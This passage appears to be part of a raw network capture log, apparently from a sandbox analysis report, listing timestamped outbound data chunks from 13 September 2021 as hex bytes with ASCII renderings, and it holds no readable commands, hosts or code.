b2 a6 be 2c f9 2c 22 f6 06 91 c4 5f a4 14 7f 00 9d e8 bb 82 cf 82 be b5 ca 79 23 08 40 ed c3 8b fb f1 72 04 60 ec ab ee 35 19 fc b2 Data Ascii: #<I2}{XYl^2,/zkQhLy<(1]TMsfz>Qs+IhIR~r~*A7p{zqri>mei=avBs^zK}@5%U5IV6MM}1_-,,"_y#@r`5
2021-09-13 04:32:07 UTC	3428	OUT	Data Raw: 41 42 a8 ee 80 fa 47 d6 5f 31 24 a0 ad f3 80 f9 74 5d 4d fd 48 eb ef 10 80 2c 01 cd bb 02 f0 ea 89 ca a0 e5 93 48 b3 0e 5b d4 77 cd 7b 80 d6 8d a3 00 c4 48 ad 90 15 3c 6a eb 2e a1 b3 0a 3e 3b e9 8b b7 8a cd 80 ff e1 65 a1 f3 8c 17 f5 07 51 7e 0a 04 d4 d3 ff 29 f2 cc 97 86 ce b3 57 a3 9b 98 b6 03 f0 19 72 0a 32 0c 51 69 0a a6 15 9d 87 66 ad 88 a0 43 8a 01 42 f0 3b 2c 0d 69 fb d8 27 e5 1f 57 97 65 22 bf 74 9e 82 69 6c e3 85 9b 8f 4f 00 a2 d9 30 a2 00 b1 2f e5 3e 73 13 52 fc 3d 1a 16 6d 2f c7 a5 c7 20 fb 8f 88 39 66 a5 19 a1 fb 9c d5 63 24 9f 03 f7 83 27 23 e1 76 11 f1 27 f0 34 d6 a1 6d 54 2f de 22 74 5f b8 71 da 56 b6 3f 8a 3d 6f 76 7e b6 bf 22 d7 70 bd 44 f8 31 7a 6d 14 08 4b bd a6 34 cd bf ab c7 83 fd 18 8f 00 44 73 59 44 01 3e 7f 83 d0 79 ce 1a 11 3d 76 Data Ascii: ABG_1$t]MH,H[w{H<j.>;eQ~)Wr2QifCB;,i'We"tilO0/>sR=m/ 9fc$'#v'4mT/"t_qV?=ov~"pD1zmK4DsYD>y=v
2021-09-13 04:32:07 UTC	3444	OUT	Data Raw: ae 67 d1 e5 9c 96 bf 6d f3 58 3f 52 fe 9b 00 d8 8e 9e a7 c6 36 4d 5e ec 83 15 68 6d 78 df b3 78 df 51 91 66 a5 1b c8 25 9b 23 01 8d 00 74 b7 4b d8 65 15 04 9d 59 96 e6 15 bf 33 3a b5 fc 1b 46 00 76 14 2b eb 4a 92 bc 33 0c 58 67 85 00 1c 9f 00 e4 11 5a 97 96 00 74 1e f0 53 5f 00 36 a5 9f 85 2b 41 8d 81 10 80 1f 11 95 50 c1 47 15 aa 36 ca e8 be 28 fa 6a b2 c1 10 76 bc a2 1d ae c0 69 45 ee 6a 91 27 2f 67 5c 11 52 52 8a 11 b3 8c fb 8f 29 a8 76 7d 79 e8 ed 72 0d 51 a7 63 bb 5e 4b bc 82 53 cc ab e6 d0 e7 9d 5f 11 7a b4 2f 1a 45 88 66 c5 dc 34 19 62 48 cf d3 b6 0b 23 db 10 5b d3 79 9d 4d e7 1b 6c 85 08 42 54 38 cf ab d9 8a ae 21 2a 9e 40 9b 1e e3 f3 ec b3 29 4f 80 38 50 8c a5 94 74 93 8d 97 e7 aa 6d ce 4d 34 f3 5b 4e 99 3f 4b bc ef 8c 84 2b f9 3c 6a e9 67 05 76 Data Ascii: gmX?R6M^hmxxQf%#tKeY3:Fv+J3XgZtS_6+APG6(jviEj'/g\RR)v}yrQc^KS_z/Ef4bH#[yMlBT8!*@)O8PtmM4[N?K+<jgv
2021-09-13 04:32:07 UTC	3460	OUT	Data Raw: 5a 21 7b 1d 7f df a8 d5 94 b9 6a 25 65 ae c4 b1 f2 31 a7 a4 a0 45 9b e3 da 08 bc 50 e6 a1 e9 73 73 71 12 cf 43 46 3b 6e 06 d9 2b f9 3a 32 99 2b f0 39 4f 0c 2a 7a dd ed 7d d0 48 4d 91 b8 b8 cf 36 3f a8 10 34 03 89 bc 97 8c 2a 2c f9 d6 88 c0 cc 70 8c 24 8c a8 40 2e 57 28 67 28 8f 47 32 47 2c a1 ec a1 8b 28 77 88 19 30 24 73 00 3f 4f 30 22 39 9e 6b 03 f9 19 89 e7 66 bf c9 94 ed 3b 81 f2 bd c7 ca ef 0d fc 33 55 5a 4e 74 e1 77 0e 7e 5b ca 7b 8d df 83 78 8f 42 04 42 02 02 fe 3d 20 ff 30 b4 2d 06 44 04 e2 b7 b7 15 7f 51 01 a8 04 02 50 d0 28 c0 10 5f ee 35 87 52 a2 ae 14 2a ff 4a 4a 40 6f 7f b1 fd a6 04 60 44 02 6e 88 02 50 51 d1 e7 84 5e b0 ce 89 b8 e6 08 c0 c8 e7 cd 76 4d 08 40 bb ad fb ae 00 5f e6 ad 0d 4e 00 96 22 22 f0 0c be ec 8b 61 b7 fb 63 2c 9a d0 22 02 Data Ascii: Z!{j%e1EPssqCF;n+:2+9Oz}HM6?4,p$@.W(g(G2G,(w0$s?O0"9kf;3UZNtw~[{xBB= 0-DQP(_5R*JJ@o`DnPQ^vM@_N""ac,"
2021-09-13 04:32:07 UTC	3475	OUT	Data Raw: 60 6e ee 1a 27 03 f3 f3 d6 50 05 a7 90 81 1b dd d6 40 df bd d3 44 05 fe ec 7e a2 5f 30 bf 7e 88 e8 0f 8b 88 fe fc 28 ef ff 61 a2 bf 3c 48 f4 d7 07 78 9a b7 f9 c3 42 a2 df dc 5a 47 ff c3 fb fb e9 cc 95 f4 c3 9b 96 d3 f7 a7 7d 4a df 9e f6 19 55 4d fb 84 2a a6 2f a3 8a 9b 97 53 e5 8c cf a9 e2 96 55 54 31 6b 35 55 cc e6 ef 9e c3 cc ad a3 ec 3c d0 40 d9 05 8d 86 f9 94 c0 cb d1 77 21 9a 33 4b 3f 86 b3 eb f9 b3 f5 94 bf 85 e1 73 ab 98 c1 cb 6f e6 74 7a 1d 15 6e ac 35 51 88 53 79 bf 93 98 09 d5 94 19 b3 82 32 d7 31 d7 f0 fd 86 08 bc 94 f3 cf 05 18 9c 86 cb c2 e9 5c de 4e 82 08 7c 9a 9f 11 10 81 fc 3c c2 f3 0d cf 51 bc 9f d1 1a 02 d1 80 68 1a 2c ff 50 e3 df 86 90 81 fc ee 94 c8 7b b4 1a e3 77 97 2f 02 25 98 04 fd d5 8b 08 e4 df c7 51 f9 07 9a 29 00 7f 7a ec de 22 Data Ascii: `n'P@D~_0~(a<HxBZG}JUM*/SUT1k5U<@w!3K?sotzn5QSy21\N\|<Qh,P{w/%Q)z"
2021-09-13 04:32:07 UTC	3491	OUT	Data Raw: 67 a2 f2 0f 94 13 80 9e 08 8c 89 bf 90 72 12 30 16 29 18 13 80 40 07 fe 58 55 5d 2b e9 e6 83 c6 8a 00 dc 6c 60 52 c7 d5 75 a7 5f 77 df 17 2e 00 b3 a3 1b 8c 04 14 ea 28 3b b6 de 00 11 38 ce c8 c0 dc 38 cc d7 8b 08 4c a8 13 0a 13 eb a9 c0 db 38 26 a5 45 20 06 11 c9 ea 48 c2 4e 06 02 9e 9f c9 a9 8e 22 3c b7 ce 89 c0 c2 bc 7a aa 9c df 40 55 0b ea a9 f5 82 3a 6a 3d 6f 0d 7d 67 7e 2d fd 88 a7 7f 7e 5b 3d fd df ed 8d f4 a7 85 44 9b dc c5 d7 ef 1e 33 68 48 3b 8c 1e bc 88 a8 c7 62 a2 be 4b 88 06 3e 41 74 c0 93 46 04 a2 89 f0 f0 a7 6b e8 f4 a5 6b e8 bc 17 d6 d0 25 2f d5 d2 95 2f af 91 26 bf d7 bf b2 86 6e 7a ab 81 e6 32 77 bc 4b 74 ef 7b 44 0f 7d 40 f4 d8 47 44 8b 3f 26 5a f2 09 f3 59 23 2d 59 56 4f 4f 2c ab a3 a7 97 d7 d3 52 e6 c5 65 0d f4 ca 67 a0 86 de 5a 5d 4b Data Ascii: gr0)@XU]+l`Ru_w.(;88L8&E HN"<z@U:j=o}g~-~[=D3hH;bK>AtFkk%//&nz2wKt{D}@GD?&ZY#-YVOO,RegZ]K
2021-09-13 04:32:07 UTC	3507	OUT	Data Raw: 23 00 33 7d 70 9f fa e1 9e f5 47 3a 00 0c c4 f4 3d 3e 9a 6f 30 7e 1f 31 a2 0f 64 47 6c 94 fc a8 cd da b4 b5 c3 c4 7a a9 9a dc 28 9d a7 36 4b d7 e9 22 dd 67 a2 3e 3d bd 59 a5 5f 97 99 6c 86 db a2 d3 6c d6 5b 35 a3 49 3a 02 46 e9 19 94 7a 46 f9 4c 47 d9 b4 7a 25 3f b5 41 72 53 6a 25 3b b9 4e c9 4d ac 55 32 e3 3d d8 7f 66 ec 56 c7 e8 2d 92 19 b9 49 32 23 36 47 72 2f 33 aa 21 c2 22 f0 48 4c ce 8d 69 41 5e 33 d6 a1 d4 6b 74 72 6f 94 14 18 e9 19 d1 22 99 e1 9e 11 9c 77 f9 59 0a 40 8a 42 a4 44 d7 e5 3a 23 b1 4d 32 0a d3 5e 24 16 a4 5f 31 91 00 f4 70 5e 9b 03 4f c0 31 4d c6 36 a6 20 6f b2 13 80 55 63 d7 ca 61 93 5e 91 2b 9f 5e 2d 4b 45 64 fa 6a 91 73 a6 ff 43 7a 5c f3 b0 f6 63 bd 5d 02 90 c3 4a b3 b0 ad 5e b7 51 8e fd d1 30 cf 50 65 e6 d2 3f 2b 9c de b4 69 93 d4 Data Ascii: #3}pG:=>o0~1dGlz(6K"g>=Y_ll[5I:FzFLGz%?ArSj%;NMU2=fV-I2#6Gr/3!"HLiA^3ktro"wY@BD:#M2^$_1p^O1M6 oUca^+^-KEdjsCz\c]J^Q0Pe?+i
2021-09-13 04:32:07 UTC	3523	OUT	Data Raw: 31 fd 82 db 57 b7 7d a4 e7 40 bc ed 5e 18 21 3d bb ec 2e 99 2e 3f 8f 7f 9e d8 67 a3 ed 2f 94 5e 9d 52 f6 15 ae 1b ee 7f 5b 05 20 d6 61 34 5f e6 4b e3 5d f9 39 15 e7 4b e9 b7 d7 27 a4 d7 e2 15 d2 6b d7 8f 48 66 87 2b dd be 3f b7 1f a6 c1 25 4b dc f5 dd e9 10 5c ab 43 a4 d7 42 bc 0c 2f 3b 1c f7 03 f3 a7 8e 94 95 2f 8e 92 9e bb 62 9e db 31 b1 c9 e3 bb f4 21 7c 6e a9 f4 ea ba 97 64 ba 5f e1 8e 1d e5 27 bb 73 20 4a 79 8f 22 e1 e9 cf 6d c7 03 75 1f 94 8a 99 5d 50 b6 c3 65 3b 1d 5c 58 b6 1f ca e5 07 02 b0 38 2f 99 1f 2e 4b 0a c0 34 e9 17 12 93 7c e0 03 01 d8 2a 69 d2 2f 24 4d f0 b5 c5 b6 08 c0 b4 e5 31 52 e4 1f 89 04 60 9a f0 23 81 f4 0b e5 9f 89 3f 92 3f 25 3e 40 48 1a 36 6a 30 b1 01 42 c2 48 40 6d 1a ec 25 60 5c 04 02 8d 0a a4 04 0c 29 25 00 1d 69 d2 2f c4 04 Data Ascii: 1W}@^!=..?g/^R[ a4_K]9K'kHf+?%K\CB/;/b1!\|nd_'s Jy"mu]Pe;\X8/.K4\|*i/$M1R`#??%>@H6j0BH@m%`\)%i/
2021-09-13 04:32:07 UTC	3539	OUT	Data Raw: 8d c1 f5 1f 89 73 19 51 27 65 da cc 0b e5 63 c8 d6 58 14 91 09 bb 48 da b1 52 eb 2b c5 56 31 76 e2 c0 0b 04 c0 3e ed 6c 70 8b fc 80 4d 0a 47 56 0d d1 e8 16 94 cf 5c 7f ec 13 64 ab 71 dd fa a1 c2 ca f2 ab 12 90 a0 bc 63 5b d9 6a 4b 1d a5 44 60 18 99 a8 78 01 a8 22 dd a3 7d 17 f6 7e 27 5d f6 a5 10 3d 7f 1a f9 e8 a6 93 d2 2f 84 c7 d1 ee 08 40 9e 27 2b fc 61 c4 9e 81 f3 54 2c 72 8b b2 c6 84 4d 00 07 b6 e1 7d e3 fd 2b 67 5f 5d a3 1a a4 62 0c ca ef d8 66 a9 c0 33 5a 81 67 b3 02 cf 26 cb 6f 87 e9 28 db 33 44 aa 50 5e 3a a1 dc 74 9a 23 2a fe 18 dd e7 22 fc 44 2a 00 47 f4 e6 28 df f9 99 2c a7 28 ef 78 0e 28 fa 54 f6 71 e0 9e 80 cc 2c 3c c7 33 f1 1c cc 40 99 27 94 7d 11 c8 c7 f2 ec 6c ac 8b e7 9a a9 46 0a 33 7f 4e a3 64 f1 9c 69 a4 f0 5c e4 cf c1 76 08 a6 73 f7 e1 Data Ascii: sQ'ecXHR+V1v>lpMGV\dqc[jKD`x"}~']=/@'+aT,rM}+g_]bf3Zg&o(3DP^:t#"DG(,(x(Tq,<3@'}lF3Ndi\vs
2021-09-13 04:32:07 UTC	3555	OUT	Data Raw: 1b d0 48 05 b6 47 03 ca 79 01 69 39 4e 24 a0 29 01 55 44 a0 4d 04 3a c9 3f 85 25 32 d0 21 22 50 49 40 c6 49 fa 39 12 a7 8a b0 5d 02 8a b9 02 75 34 01 e8 24 02 ab 8a 0c 54 58 52 85 6d 44 23 04 e9 c1 46 09 40 7e 20 e1 07 0a 25 00 bf 61 94 04 94 0f 07 8e 28 11 68 44 02 ba be a7 07 cb 01 f4 10 f9 03 3d 78 1a 12 90 23 02 45 54 a0 12 7f 3f d0 18 c6 94 80 f4 d0 6a c8 3c 25 00 ed a8 39 05 05 22 cd 38 8a 94 31 61 21 02 05 83 69 5d 45 58 0d a5 87 5b 43 0a 4a 64 1f cf df e6 d8 0a e8 b5 0c 99 12 23 04 a9 75 db 84 89 40 45 0c 72 3b 96 de a3 81 4a 1d 16 a9 c1 13 82 48 98 48 f0 5c 81 93 89 29 d4 3f 25 00 17 cf 79 36 8d d6 79 de 33 82 e7 44 53 b8 a7 31 21 21 01 eb 4c f3 8b 0a c3 f5 67 56 a2 e1 ac 0a 34 a2 07 f0 03 67 96 a0 e9 ac 62 1c 32 bb 18 47 a4 97 e3 d8 74 0f 3d 84 Data Ascii: HGyi9N$)UDM:?%2!"PI@I9]u4$TXRmD#F@~ %a(hD=x#ET?j<%9"81a!i]EX[CJd#u@Er;JHH\)?%y6y3DS1!!LgV4gb2Gt=
2021-09-13 04:32:07 UTC	3571	OUT	Data Raw: ea 22 50 a6 13 13 3c 4f dc 84 b0 98 9b ae e1 a0 bf 71 fa b0 d5 78 ef 8f 00 66 03 48 23 5e fc a5 12 a7 4f d8 80 46 e3 8a c4 1c 7f 09 13 08 16 78 93 e8 78 2c ef 54 b5 e2 09 30 ab cb 72 31 09 46 08 46 bd c2 2c 0b 40 21 01 69 3b 0b 25 43 f8 89 96 a3 cd 58 26 72 2b b6 d3 f1 85 28 a4 3e 1e 23 d2 8b a9 9d 4a 7d d3 68 5f 42 46 22 1a db 26 d1 f5 9d 1c 10 29 ca 8c 4a 2f 56 f3 11 d6 a3 07 6e 2e 52 22 98 52 8e 03 26 97 a2 f1 e4 62 1c 32 b5 10 47 4e 2f 41 b3 19 c5 38 8e 38 99 38 7b 76 29 9a a7 94 e2 d2 94 32 5c 99 56 8e b6 e9 65 b8 29 cb 83 ce b9 5e f4 28 08 e1 9e 05 5c 30 04 78 9a 1e f8 5f 58 09 bc bc 1a 78 63 0d f0 ee 5a e0 83 75 c0 c7 04 0b be 6f 37 49 31 38 60 33 f0 23 f1 93 c1 40 5e df 42 db b6 03 df ec 00 be 26 38 dd 98 53 8d 3f d8 08 bc f5 17 f0 fa 7a 3a 2e 1d Data Ascii: "P<OqxfH#^OFxx,T0r1FF,@!i;%CX&r+(>#J}h_BF"&)J/Vn.R"R&b2GN/A888{v)2\Ve)^(\0x_XxcZuo7I18`3#@^B&8S?z:.
2021-09-13 04:32:07 UTC	3587	OUT	Data Raw: 84 85 04 b4 88 40 22 89 c6 33 c9 44 bd 19 41 34 98 19 42 a3 59 61 34 4d 09 8b 79 03 8f 4c 0b 83 2b c6 1e 9f 15 c1 49 d9 11 9c 92 1d c2 69 86 10 e2 d4 50 8e fa e2 b9 df 44 ca 70 2e 47 6f 85 d0 96 b8 21 2f 80 9b f3 7c b2 b8 48 5e 05 7a e4 97 e3 ae 82 0a dc 37 cf 83 3e f3 3d 78 8c 78 ba a0 08 af cf df 89 ef 56 15 63 ee 4e 1f fe 04 b0 90 f8 6c 3d 70 f9 94 1d 38 f0 07 fa ad fb 92 be b3 1f 97 22 f1 ed 6d a8 f3 c6 16 24 bf b1 11 49 af 6f 80 fb d5 bf 84 00 3c f3 83 45 78 35 73 3b 56 94 03 3b 11 c6 c6 48 18 73 77 14 63 e6 e6 4a cc d8 0a a4 6d 03 b2 a8 cd a3 76 0e dd cf 73 77 10 2c 02 4b 68 9d 05 61 99 24 8f ee f3 ec 62 20 93 48 2f 04 52 09 9e ab 70 3a 8d 9f 42 fb 4d a4 63 70 f4 e0 c8 0d c0 b0 75 61 0c fe 23 80 1f fe f4 e3 eb 75 41 7c b8 d6 8f 77 7e f5 e0 d5 5f 3c Data Ascii: @"3DA4BYa4MyL+IiPDp.Go!/\|H^z7>=xxVcNl=p8"m$Io<Ex5s;V;HswcJmvsw,Kha$b H/Rp:BMcpua#uA\|w~_<
2021-09-13 04:32:07 UTC	3603	OUT	Data Raw: 22 5f ef cf 5a f5 f7 46 35 d5 37 d6 65 3e 67 4f f3 55 18 a8 16 03 b1 e1 2f 8d 7f 7a ca 6f 20 b5 e8 47 f4 96 e5 0c 80 34 da 84 d3 00 18 b9 9d 56 a3 f4 00 a0 e0 5f 18 02 d6 10 00 e6 7a be fd 3c 37 03 80 92 60 1c 25 a3 0b 7d fb 02 cf 21 04 54 98 67 23 9f 40 9f fb d8 44 cf e3 e7 d2 eb e9 7c 00 48 f8 47 69 fc 13 00 54 a3 ff f2 00 c0 6c 65 c3 c1 1d 00 80 6a 1a 70 82 f3 e1 5e 3e e5 03 80 94 a0 9f fd 58 5d 07 90 6e 13 10 7b 31 0d 80 fb 0f fa 14 ea 8f c7 3f 1e 35 00 9e 31 6a bb 1f 00 09 d6 3c f8 e6 6d 37 00 aa 0a 05 40 27 1b 00 29 77 5a 30 03 60 b6 51 80 1f 62 1e f8 93 aa 13 00 8b 46 27 61 af 51 00 fb 62 7f 1c 03 70 d8 38 80 63 b0 13 c7 25 e1 b4 c9 09 5e e5 95 00 f0 a1 39 9b 61 cc d7 09 06 c0 d1 65 c0 23 b8 8e 78 7e 1d fc ec 51 fc 7d f9 00 76 0f fe 3e bd 7d b5 1a Data Ascii: "_ZF57e>gOU/zo G4V_z<7`%}!Tg#@D\|HGiTlejp^>X]n{1?51j<m7@')wZ0`QbF'aQbp8c%^9ae#x~Q}v>}
2021-09-13 04:32:07 UTC	3619	OUT	Data Raw: 02 c0 c0 73 f2 06 c0 f5 5c 18 00 ca d4 5e c2 bf e8 03 9f 41 e4 41 95 0f fd ec 64 a5 5f 03 81 16 fe d9 00 68 7a 94 ae f3 97 4e 01 a0 4e 8f 06 e4 1c d8 cb 37 1f 00 da e0 e7 e6 c7 3f ca 81 3f 3b 1b 00 6d d0 b3 b2 b1 cf 57 36 00 a4 04 01 05 fa 6c 04 b4 b7 09 fc 05 a6 06 e3 f6 ea 00 c0 d6 f8 47 e5 6e 00 d4 b7 3f 52 00 8c 7c 84 9f 17 b3 01 d0 46 40 c2 3f 9e 12 3c 0a 7f c6 a8 d1 34 fd 57 8d fe 23 00 2c 1a 99 32 00 18 1b 59 c1 0b 81 1c 38 36 09 87 8c 05 f8 d7 b8 04 03 e0 1d f3 d5 08 40 fc 51 83 a1 5f 02 5c f1 c1 17 70 e0 23 2b f1 f7 d2 2a d8 e3 ce e5 0a 00 cd ef 75 ac cb 3c 03 80 a7 3d 3c 29 14 00 65 04 60 36 00 a4 d1 7d 17 4e 49 04 10 2f 38 c5 57 4f ed d5 b0 27 65 03 c0 46 f8 5e 84 7f 8d a7 5b f0 37 5d 4d 03 16 f8 63 fc a3 51 7f 35 0e 80 09 2e 1b 00 aa a9 bf 0a Data Ascii: s\^AAd_hzNN7??;mW6lGn?R\|F@?<4W#,2Y86@Q_\p#+*u<=<)e`6}NI/8WO'eF^[7]McQ5.
2021-09-13 04:32:07 UTC	3635	OUT	Data Raw: 8f bf 23 97 f2 ff 2e f8 00 70 cf 8e 0a 00 69 04 e0 ff d6 a8 11 80 02 80 37 8c ff 12 ae 9c a4 00 90 46 ff 11 00 d2 14 e0 06 53 d2 53 80 09 00 19 01 a7 05 a7 f4 ba 35 c4 63 7c 65 ec 77 00 b0 31 be 2f 95 0b 00 c3 ba 6c 7a 92 23 f4 cb 06 80 f2 f8 aa 99 49 4e 00 50 ae 05 28 00 d8 6c 76 8a ab 09 00 24 fc 0b 03 c0 8e b3 e3 59 01 30 6c 11 90 42 01 50 10 f0 de 85 1a 01 2d 00 a4 b2 01 a0 0f 01 5d 00 74 7b 62 45 82 11 30 e7 22 20 16 fe d9 00 a8 f0 2f 1c 00 09 fe 24 1f 00 12 fe 51 43 d7 a9 95 7f b3 01 e0 a3 0b b7 c3 d5 c3 d7 54 01 00 ff ef 74 0d 2d 2b a1 ef 19 fb e1 fd c3 21 f2 1b 4a 6f ab 1d 81 48 a4 25 de 2f 86 be a7 ee 05 b5 fb 15 03 0c c7 3f f6 7e 7d 30 44 7f f7 0f 88 1e a4 01 90 c0 ed 8f d7 32 e6 0d 6b 77 20 c3 52 84 46 ea fd 5e c1 57 94 40 ef 37 8d cc fe e8 3e Data Ascii: #.pi7FSS5c\|ew1/lz#INP(lv$Y0lBP-]t{bE0" /$QCTt-+!JoH%/?~}0D2kw RF^W@7>
2021-09-13 04:32:07 UTC	3651	OUT	Data Raw: 83 aa 04 e0 e8 c5 90 7c 86 31 9f 33 8b 8c fc 03 a6 ad 92 c6 2e 5a 4d 63 16 af a6 47 17 55 d0 d5 73 97 d0 99 af 7d 2d 02 70 ab 1e fc 3b e5 09 83 f8 77 ff 81 fc 39 e4 d2 ea 0a 40 f7 cf 4b d4 05 59 7a be 00 dc 68 6b c3 5f 1a 18 e1 86 6b d3 c5 22 0c 17 dc 76 84 1d 6f 05 e2 8b dd ec 78 be d7 06 d8 47 50 ef ef 0a 40 3b 07 ee 85 7d 01 f1 ac c8 f6 83 04 c4 33 1e 79 37 8f 20 7a a1 d7 6e dc b7 9f 29 f2 b1 e3 09 72 8c 7d 0a 73 de 73 8b 03 a5 38 49 72 17 2b 00 95 90 c0 12 9a 47 a8 b4 f3 c9 25 f7 42 7d 8a f6 ff 57 0a 40 bc 6f 36 53 32 b6 fc d7 ca bf 6a 09 c0 58 d6 9f c1 ec e9 97 2d f6 b4 6d ad 0b 40 b0 96 33 00 5d 7c 01 08 22 11 a5 f7 f1 9f 23 c2 b9 af 4b ec 19 f3 a0 f7 b1 c2 2a 17 ee b8 82 08 dd 6b 4d f0 5f 77 68 8c 4b d6 33 a1 9d a3 95 70 2a f2 44 be a1 cd 7f 8d 2a Data Ascii: \|13.ZMcGUs}-p;w9@KYzhk_k"voxGP@;}3y7 zn)r}ss8Ir+G%B}W@o6S2jX-m@3]\|"#KkM_whK3pD*
2021-09-13 04:32:07 UTC	3667	OUT	Data Raw: 3f 4f 00 32 d1 b2 e0 f3 e3 12 d0 c8 3f e6 fc 0f 84 ea 0a 40 90 1a 90 47 00 e6 42 e5 5f 35 25 60 48 ea 55 87 ea 08 40 39 86 f8 bb 9c c7 38 12 50 c4 9e 15 80 8a 91 77 ce 39 f7 8b 28 74 04 a0 1c a3 dd 8e 15 62 f2 8f 81 c4 fb 8d 05 60 24 fd 02 7b fe 81 e4 4d 28 fa 61 80 fc ab 0d 01 08 22 09 17 e8 53 5c 59 27 63 7d 61 57 15 01 01 98 ba 35 3e 67 6c de 40 16 a0 22 02 10 55 80 ad 00 2c b9 e3 67 11 80 f5 5e a9 a0 0b 16 f0 07 e0 1f 88 3a ce 36 19 80 10 80 90 7f c2 30 fa 53 00 2a 63 f9 3e 79 58 db 02 b0 2a 5c 61 27 d2 2e 30 a6 3a c4 e6 aa 05 01 78 d0 0b df 48 06 20 04 e0 b3 3f 13 75 78 e6 2b da f2 f2 99 46 00 e2 e7 3b 7e de 67 09 c0 89 91 00 bc fa a5 4f 68 de ea 8c 00 ec 39 ed 5b 6a 34 fe 47 6a 30 65 19 1d 33 65 35 1d 39 9d e8 88 a9 10 80 15 74 cc a4 52 11 80 ae 04 Data Ascii: ?O2?@GB_5%`HU@98Pw9(tb`${M(a"S\Y'c}aW5>gl@"U,g^:60Sc>yX\a'.0:xH ?ux+F;~gOh9[j4Gj0e3e59tR
2021-09-13 04:32:07 UTC	3683	OUT	Data Raw: ef a7 56 09 e9 a7 96 0b a9 a7 56 52 fa 69 fe 7a 3f bd 92 12 4f ad e0 39 97 f2 fd f9 fb e1 e9 25 b4 ee 33 bf d0 06 cf fe 4c 5b 3e b1 88 8e 7d e2 1d ba e5 93 65 34 9d 3f 73 8d e5 ef b7 d3 06 7f 48 9b f4 78 9d ea 76 9e 44 45 9d 66 f0 cf 8a a9 94 ee 3c 5e fe d3 22 d1 65 34 25 ba 3f c6 91 7f d6 74 19 46 ff ba f8 49 ba fd 95 4f 69 71 29 d1 7b ab f9 33 dc e7 cb a9 e5 eb f3 e9 d0 17 16 d2 21 af fe 4a fb bd ba 9c f6 15 56 d2 7e af ac a6 fd 5f 66 5e 5b 21 1c f0 ca 2a a6 94 f6 7d 79 45 c4 7e af ac 94 b1 7b bf c6 bc ba 9a f6 7a 6d 35 ed f3 46 19 ed f9 46 29 ed c1 fc 7b 1c c7 f1 65 f4 af 09 cc f8 72 da 63 dc 2a da 67 1c cf 3f 6e 99 b0 df f8 e5 b4 ff 04 9e 7b e2 ca 08 b4 f9 7d 07 4e 5a 15 61 32 0b cb 6c a6 a1 c9 2a 04 58 5e 7c d4 a4 32 3a 9a 8f c1 b1 3c e6 38 6e 3b 7e Data Ascii: VVRiz?O9%3L[>}e4?sHxvDEf<^"e4%?tFIOiq){3!JV~_f^[!}yE~{zm5FF){ercg?n{}NZa2l*X^\|2:<8n;~
2021-09-13 04:32:07 UTC	3699	OUT	Data Raw: 96 88 cc ab 18 24 01 31 89 45 5e 91 6d 4d 0c 12 24 08 b1 91 a0 32 75 b8 83 59 0f 50 31 d3 89 5f e5 6b 1e 29 fd 65 8d 3f 89 5c c4 d8 56 32 42 92 ca 36 ea b8 0d 49 41 64 3d c0 d1 86 0b de a4 c4 79 63 f9 f8 51 fc 5e a0 0d 0c 17 b1 87 ac d3 58 67 11 9f 39 59 8b 51 80 e8 83 28 e4 31 65 4a 34 de 43 fb d9 6c 8b cf 3b ff 6e b7 79 82 3f 87 fc bb d9 9a 7f 47 5b f1 ef 7f 2b fe bd 6f cd 60 bb 25 e0 36 de 4e b5 ee cd 3c 2e 24 5b 1a 12 2d f8 3b c1 01 d3 ef 11 e1 9b 3e 8d fb c9 9a 9f e0 31 2a 3c f5 31 29 cd 1a a2 fc dd a0 d1 7f 19 12 d0 4c 17 0e c8 10 82 fc 1d a7 88 f8 f3 90 64 1a 4c 90 ec c8 12 c8 3e 15 80 8a d6 5b 32 8e 0b e5 1f b6 55 d6 61 6d 41 9d 3e ec ae 25 08 61 e6 0b 34 17 39 a6 31 7f c7 3b a4 9b 60 3d 43 f0 40 84 64 13 fe ce 77 48 34 e6 bf 07 76 3b d5 d8 25 3a Data Ascii: $1E^mM$2uYP1_k)e?\V2B6IAd=ycQ^Xg9YQ(1eJ4Cl;ny?G[+o`%6N<.$[-;>1*<1)LdL>[2UamA>%a491;`=C@dwH4v;%:
2021-09-13 04:32:07 UTC	3715	OUT	Data Raw: 71 1e 25 8f e4 eb 43 04 1d 83 eb 2e 38 a6 b3 90 3e ca 50 70 74 97 58 d2 c7 5d 48 49 26 5b 29 11 76 5c 26 b8 14 10 61 07 6c 7d aa e6 45 59 49 d6 0a 4b 25 55 bb ab 90 ae 03 e1 c7 d4 33 51 65 e9 fa 90 59 57 53 41 03 13 ad 55 88 48 2d b7 6c 70 a3 89 de 6a 18 2d 25 ca 0b 12 4b 23 c2 ec d4 48 9d 36 09 49 26 11 62 5c ba 40 ae 81 44 9d 1e 4c 77 4a d6 0e 4b 13 8d 86 76 ae ab dd 5d ea a5 cd 89 50 33 d7 0b 91 d6 33 27 05 f5 6f c8 00 f7 a2 b8 eb a5 55 04 a6 73 56 96 02 08 b5 2c 40 b6 25 1a df 64 44 5e 53 48 37 23 de 92 0e 90 69 a9 93 8c 5c 43 09 71 96 3a 89 ff 80 5b 92 56 c2 25 9b 62 4a 68 88 1f c1 e6 f6 09 85 9d 6d e3 71 dc 12 62 ce 44 b6 dd 43 c9 13 ee 12 20 ea e2 30 d2 8e fb d9 d2 95 77 3e c9 53 4c 99 68 66 44 5f e2 e4 07 28 71 8a cd 0a da 8c 39 15 49 0f 18 2e 93 Data Ascii: q%C.8>PptX]HI&[)v\&al}EYIK%U3QeYWSAUH-lpj-%K#H6I&b\@DLwJKv]P33'oUsV,@%dD^SH7#i\Cq:[V%bJhmqbDC 0w>SLhfD_(q9I.
2021-09-13 04:32:07 UTC	3731	OUT	Data Raw: 29 b4 3a 8d d6 26 d4 30 a0 ce 15 80 a7 f0 38 21 c9 03 9a e5 24 b1 3f 9f 33 e0 c4 0c 54 5c 2a d9 ea 95 50 fa b9 32 90 c1 fe c1 5c cf f7 ad 89 41 70 ed a9 7f 9c c6 9c 21 98 ec c0 8a 2f d7 20 dc 20 de 5a 1b 02 61 77 a6 ad 6f 63 db b0 8d fa e8 f1 9a 70 24 a5 6b f5 a1 1e d3 90 ed 54 64 cd 48 ec 1e 13 8c 15 43 b0 e6 9f db 5f 8e 41 bd 01 92 11 40 3a 06 1c de 56 10 69 07 11 c9 a5 88 48 48 41 94 1e d2 a7 12 98 28 40 83 26 20 91 24 24 56 04 86 74 8c 80 2c b7 c0 95 5d 2a bc 5c 42 c1 97 0d 4f fc f9 1c 65 32 e6 2a 2a 04 75 1f 32 0d 52 4d 11 b9 e6 d4 e9 76 e2 88 0b 42 78 5c d3 ee 0a 48 83 7f fd 72 0f 72 